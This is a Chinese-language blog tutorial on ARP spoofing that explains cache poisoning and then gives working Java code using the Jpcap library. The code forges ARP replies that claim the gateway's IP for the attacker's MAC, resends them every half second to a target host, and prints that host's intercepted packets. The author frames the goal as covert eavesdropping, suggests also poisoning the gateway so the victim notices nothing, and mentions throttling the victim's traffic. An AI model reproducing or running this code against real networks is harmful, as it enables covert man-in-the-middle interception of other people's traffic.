JAVA实现ARP欺骗性的数据封包监听

ARP（Address Resolution Protocol）既地址解释协议，主要的目的是用于进行IP和MAC地址解释的。IP是网络层协议，而MAC是被数据链路层使用。网络中两个节点要进行通信，那么首先发送端必须要知道源和目的地的MAC地址，而网络层是使用IP地址，所以要获得MAC地址，就必须通过IP地址获取对应的MAC地址，这样就需要使用ARP协议将IP地址转换为MAC地址，而同时为了能够快速的找到目的地的MAC地址，每个节点都会有一个ARP缓存，用于保存已经转好好的MAC地址，大家可以在控制台下使用arp –a指令查看arp缓存表。

      而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候，系统会首先检查ARP表中是否存在对应的IP地址，如果没有，则发送一个ARP广播，当某一个拥有这个MAC地址的节点收到ARP请求的时候，会创建一个ARP reply包，并发送到ARP请求的源节点，ARP Reply包中就包含了目的地节点的MAC地址，在源节点接受到这个reply后，会将目的地节点的MAC地址保存在ARP缓存表中，下一次再次请求同一 IP地址的时候，系统将会从ARP表中直接获取目的地MAC地址，而不需要再次发送ARP广播。

      看到这里，ARP的具体过程大概讲解了一遍，希望能够解释清楚。相信有心的朋友一定已经开始考虑ARP欺骗的原理了吧，其实就是利用ARP表进行ARP欺骗，比如一台局域网内的机器A，通过网关B进行internet连接，而它的arp表中保存着网关B的IP和MAC地址对，如下：

192.168.1.1    —>    MAC1(懒得写那么长了，就以MAC1作为MAC地址了)

那么也就是说，当A想上网的时候，他所有的数据都将先发送到网关再由网关转发出去，那么A的数据首先会通过192.168.1.1找到网关的MAC地址 MAC1，然后就可把数据发送到网关了。此时你的机器是C，MAC地址是MAC2，你想通过ARP欺骗来获取A传输的数据，那么你所需要做的事情其实很简单，就是将机器A的ARP表中192.168.1.1对应的MAC地址MAC1改成MAC2即可，这样子机器A所有发送到192.168.1.1的数据就会发到MAC地址为MAC2的机器上，也就是你的机器上了。

要更改APR表的记录，办法就是伪造一个ARP reply包发送给机器A，而这个ARP reply包中的源IP为192.168.1.1，MAC地址为MAC2既你的机器的MAC地址即可，机器A接受到后就会将这个源IP和MAC刷新到它的 ARP缓存表中，覆盖原有的记录，最终这样就可以达到ARP欺骗的目的了。

讲到这里不知道大家是否对ARP欺骗有所了解呢？如果再不了解那就上网搜搜吧，网上很多相关的资料。好了，原理讲完了，那就轮到实现了，通过JAVA又如何实现ARP欺骗呢？

从头到尾来做，当然不是我的作风，JAVA社区那么庞大，我么应该好好利用，要站在巨人的肩膀上成功嘛，呵呵。有一个开源项目JPCAP，这个项目提供一个中间层接口让使用者可以调用如wincap/libpcap这些库对网络传输进行控制，具体可到官方网站查看其文档。

在这里，我实现了一个简单的封包截取程序，根据ARP欺骗的原理，我们所需要做的事情如下：
1、 构建一个ARP Reply包

2、 将该封包发送到需要欺骗的机器

public class LocalListener {


    private final static String GATE_IP = "192.168.11.1";
  private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 
0x42, 0x6e, (byte) 0x9a};
    private JpcapCaptor jpcap;//与设备的连接
    private JpcapSender sender;  //用于发送的实例
    private Packet replyPacket;//ARP reply包
    private NetworkInterface device;//当前机器网卡设备
    private IpMacMap targetIpMacMap;//目的地IP MAC对


    public LocalListener(IpMacMap target) throws Exception {
        NetworkInterface[] devices =JpcapCaptor.getDeviceList();              
        device = devices[1];
        this.targetIpMacMap = target;
        initSender();
        initPacket();
    }


    private void initSender() throws Exception {
        jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);    //打开与设备的连接
        jpcap.setFilter("ip", true);                                //只监听ip数据包
        sender = jpcap.getJpcapSenderInstance();
    }


    private void initPacket() throws Exception {
        //reply包的源IP和MAC地址，此IP-MAC对将会被映射到ARP表
        IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address); 
        //创建修改目标机器ARP的包
        replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
        //创建以太网头信息，并打包进reply包
        replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
                device.mac_address);
    }


    public void listen() throws InterruptedException{
        Thread t = new Thread(new Runnable() {
            public void run() {
              //发送reply封包，修改目的地arp表， arp表会在一段时间内被更新，所以需要不停发送
                while(true){
                    send(); 
                    try {
                        Thread.sleep(500);
                    } catch (InterruptedException ex) {
                        Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
                    }
                }
            }
        });
        t.start();
        //截获当前网络设备的封包收发信息
        while(true){
            IPPacket ipPacket = (IPPacket)jpcap.getPacket();
            System.out.println(ipPacket);
        }
    }}





//IP-MAC实体，只用于保存一对IP-MAC地址
public class IpMacMap {
    private String ip;
    private byte[] mac;


    public IpMacMap(){
    }
   
    public IpMacMap(String ip, byte[] mac){
        this.ip = ip;
        this.mac = mac;
    }
   
    public String getIp() {
        return ip;
    }


    public void setIp(String ip) {
        this.ip = ip;
    }


    public byte[] getMac() {
        return mac;
    }


    public void setMac(byte[] mac) {
        this.mac = mac;
    } 
   
}


//ARP reply包生成类，用于根据目的地址和源地址生成reply包
public class ARPPacketGern{


    public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
        ARPPacket arpTarget = new ARPPacket();
        arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //选择以太网类型(Ethernet)
        arpTarget.prototype = ARPPacket.PROTOTYPE_IP;        //选择IP网络协议类型
        arpTarget.operation = ARPPacket.ARP_REPLY;              //选择REPLY类型
        arpTarget.hlen = 6;                              //MAC地址长度固定6个字节
        arpTarget.plen = 4;                              //IP地址长度固定4个字节
        arpTarget.target_hardaddr = target.getMac();
        arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
        arpTarget.sender_hardaddr = sender.getMac();
        arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
        return arpTarget;
    }
}


//根据目的地MAC和源MAC构建以太网头信息，用于传输数据
public class EthernetPacketGern{
    public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
        EthernetPacket ethToTarget = new EthernetPacket();          //创建一个以太网头
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;  //选择以太包类型
        ethToTarget.dst_mac = targetMac;
        ethToTarget.src_mac = senderMac;       
        return ethToTarget;
    }
}

如上代码实现了创建一个发送到IP为192.168.11.4的机器的ARP reply封包，其中可看到，reply包中的源IP为192.168.11.1，而源MAC则被改成当前机器的MAC地址，既 device.mac_address，这样当192.168.11.4的机器接收到该reply包后，就会刷新ARP表，并且所有发送往 192.168.11.1的数据都会实际发送到当前运行该程序的机器。程序中创建了一个线程用于循环发送reply封包，主要是因为ARP表会在一定时间内更新，所以要不停的发送才能保证其MAC地址时刻都是被改变的。同时主线程用于监听并打印当前设备的所有IP数据包信息，本来此方法只能监听到本机数据包的信息，但由于使用了ARP欺骗，所以你会在192.168.11.4发送数据到192.168.11.1的时候截获其数据包，并看到类似如下的信息：

1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S

    其实上例程序虽然可以截获并监听192.168.11.4的数据包，但是如果真的运行起来后，192.168.11.4的机器将会无法上网（假设该机器通过192.168.11.1作为网关上网），这又是为何呢？

    这就是因为本机截获了192.168.11.4的封包，但是却没有将封包转发出去，所以实际上数据包到了你的机器上后就被中断了，数据包无法发送出去。既然要监听对方机器，当然不能让对方知道啦，如果你监听了那台机器，却导致对方无法上网，傻子也知道有问题啦，所以以上程序仍然要加个补充，那就是将封包数据在转发到192.168.11.1上，只要将截获的封包再send出去就可以了，具体如何做就留给大家想吧，困了，休息了，如果有朋友有兴趣又实在想不出如何做的话，可以向我提出来，有必要的话，下次再贴一个完整点的例子吧。

    对了，最后还有补充的地方，那就是我们可以通过同样的方式刷新网关的ARP，这样网关接受到的数据也会被本机截获，同样再通过本机转发到目的机器即可。这样对方既可正常上网，而我们又可截获对方的数据包，如果要进行限速的话，那就是在截获封包的同时，进行一定的延时，比如一秒只允许多少K的数据通过，都可以在这里做手脚，同样的，具体如何留给大家想吧。